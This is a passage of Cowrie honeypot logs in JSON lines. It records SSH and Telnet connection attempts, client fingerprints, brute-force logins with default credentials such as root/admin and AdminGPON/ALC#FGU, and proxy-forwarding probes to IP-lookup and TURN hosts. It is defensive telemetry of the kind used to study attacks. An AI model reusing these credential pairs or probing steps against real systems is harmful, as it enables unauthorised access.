-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:24:21.971846Z","src_ip":"171.243.151.30","session":"d4ca6e114928","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:24:23.333752Z","src_ip":"171.243.151.30","session":"d4ca6e114928","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"ip-who.com","dst_port":80,"src_ip":"171.243.151.30","src_port":0,"message":"direct-tcp connection request to ip-who.com:80 from :0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:24:23.985341Z","session":"d4ca6e114928","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"ip-who.com","dst_port":80,"ja4h":"ge11nn010000_4740ae6347b0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to ip-who.com:80: ge11nn010000_4740ae6347b0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:24:24.217113Z","src_ip":"171.243.151.30","session":"d4ca6e114928","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"ip-who.com","dst_port":80,"data":"b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to ip-who.com:80 with data b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:24:24.220637Z","src_ip":"171.243.151.30","session":"d4ca6e114928","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:24:24.661552Z","src_ip":"171.243.151.30","session":"d4ca6e114928","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.97.85","src_port":43426,"dst_ip":"159.203.135.109","dst_port":22,"session":"9173e23d5f55","protocol":"ssh","message":"New connection: 85.198.97.85:43426 (159.203.135.109:22) [session: 9173e23d5f55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:25:06.308107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:25:06.313638Z","src_ip":"85.198.97.85","session":"9173e23d5f55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:25:07.268017Z","src_ip":"85.198.97.85","session":"9173e23d5f55","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"a1s2d3","message":"login attempt [root/a1s2d3] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:25:07.683398Z","src_ip":"85.198.97.85","session":"9173e23d5f55","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:25:08.009829Z","src_ip":"85.198.97.85","session":"9173e23d5f55","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo 'dGVzdA==' | base64 -d 2>/dev/null","message":"CMD: echo 'dGVzdA==' | base64 -d 2>/dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:25:08.015501Z","src_ip":"85.198.97.85","session":"9173e23d5f55","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","size":4,"shasum":"ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:25:08.155352Z","src_ip":"85.198.97.85","session":"9173e23d5f55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:25:08.160445Z","src_ip":"85.198.97.85","session":"9173e23d5f55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":56498,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd111018b635","protocol":"ssh","message":"New connection: 45.148.10.121:56498 (10.17.0.5:22) [session: bd111018b635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:25:29.334483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:25:29.338893Z","src_ip":"45.148.10.121","session":"bd111018b635","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:25:29.414345Z","src_ip":"45.148.10.121","session":"bd111018b635","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"AdminGPON","password":"ALC#FGU","message":"login attempt [AdminGPON/ALC#FGU] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:25:29.641193Z","src_ip":"45.148.10.121","session":"bd111018b635","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:25:30.719170Z","src_ip":"45.148.10.121","session":"bd111018b635","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":39790,"dst_ip":"159.203.135.109","dst_port":22,"session":"55dcc8e756e2","protocol":"ssh","message":"New connection: 2.57.121.112:39790 (159.203.135.109:22) [session: 55dcc8e756e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:27:11.034376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:27:11.040723Z","src_ip":"2.57.121.112","session":"55dcc8e756e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:27:11.140049Z","src_ip":"2.57.121.112","session":"55dcc8e756e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"020973","message":"login attempt [admin/020973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:27:11.610406Z","src_ip":"2.57.121.112","session":"55dcc8e756e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"020877","message":"login attempt [admin/020877] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:27:12.713036Z","src_ip":"2.57.121.112","session":"55dcc8e756e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"020788","message":"login attempt [admin/020788] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:27:13.814859Z","src_ip":"2.57.121.112","session":"55dcc8e756e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"020787","message":"login attempt [admin/020787] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:27:14.918135Z","src_ip":"2.57.121.112","session":"55dcc8e756e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"02071997","message":"login attempt [admin/02071997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:27:16.021116Z","src_ip":"2.57.121.112","session":"55dcc8e756e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:27:17.123477Z","src_ip":"2.57.121.112","session":"55dcc8e756e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.214","src_port":60706,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ab387bcd48c","protocol":"telnet","message":"New connection: 176.65.148.214:60706 (10.17.0.5:23) [session: 9ab387bcd48c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:32:41.621457Z"}
{"eventid":"cowrie.session.closed","duration":29.78229331970215,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:33:11.403624Z","src_ip":"176.65.148.214","session":"9ab387bcd48c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":55202,"dst_ip":"159.203.135.109","dst_port":22,"session":"540a703227d6","protocol":"ssh","message":"New connection: 45.148.10.121:55202 (159.203.135.109:22) [session: 540a703227d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:38:05.281664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:38:05.288650Z","src_ip":"45.148.10.121","session":"540a703227d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:38:05.368654Z","src_ip":"45.148.10.121","session":"540a703227d6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:38:05.609859Z","src_ip":"45.148.10.121","session":"540a703227d6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:38:05.692720Z","session":"540a703227d6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:38:05.774052Z","src_ip":"45.148.10.121","session":"540a703227d6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:38:05.777927Z","src_ip":"45.148.10.121","session":"540a703227d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:38:05.860864Z","src_ip":"45.148.10.121","session":"540a703227d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":55210,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d8e836e5fa5","protocol":"ssh","message":"New connection: 45.148.10.121:55210 (159.203.135.109:22) [session: 4d8e836e5fa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:38:05.936539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:38:05.941427Z","src_ip":"45.148.10.121","session":"4d8e836e5fa5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:38:06.023670Z","src_ip":"45.148.10.121","session":"4d8e836e5fa5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:38:06.281565Z","src_ip":"45.148.10.121","session":"4d8e836e5fa5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:38:06.420700Z","session":"4d8e836e5fa5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:38:06.502474Z","src_ip":"45.148.10.121","session":"4d8e836e5fa5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:38:06.506097Z","src_ip":"45.148.10.121","session":"4d8e836e5fa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:38:06.593800Z","src_ip":"45.148.10.121","session":"4d8e836e5fa5","protocol":"ssh"}
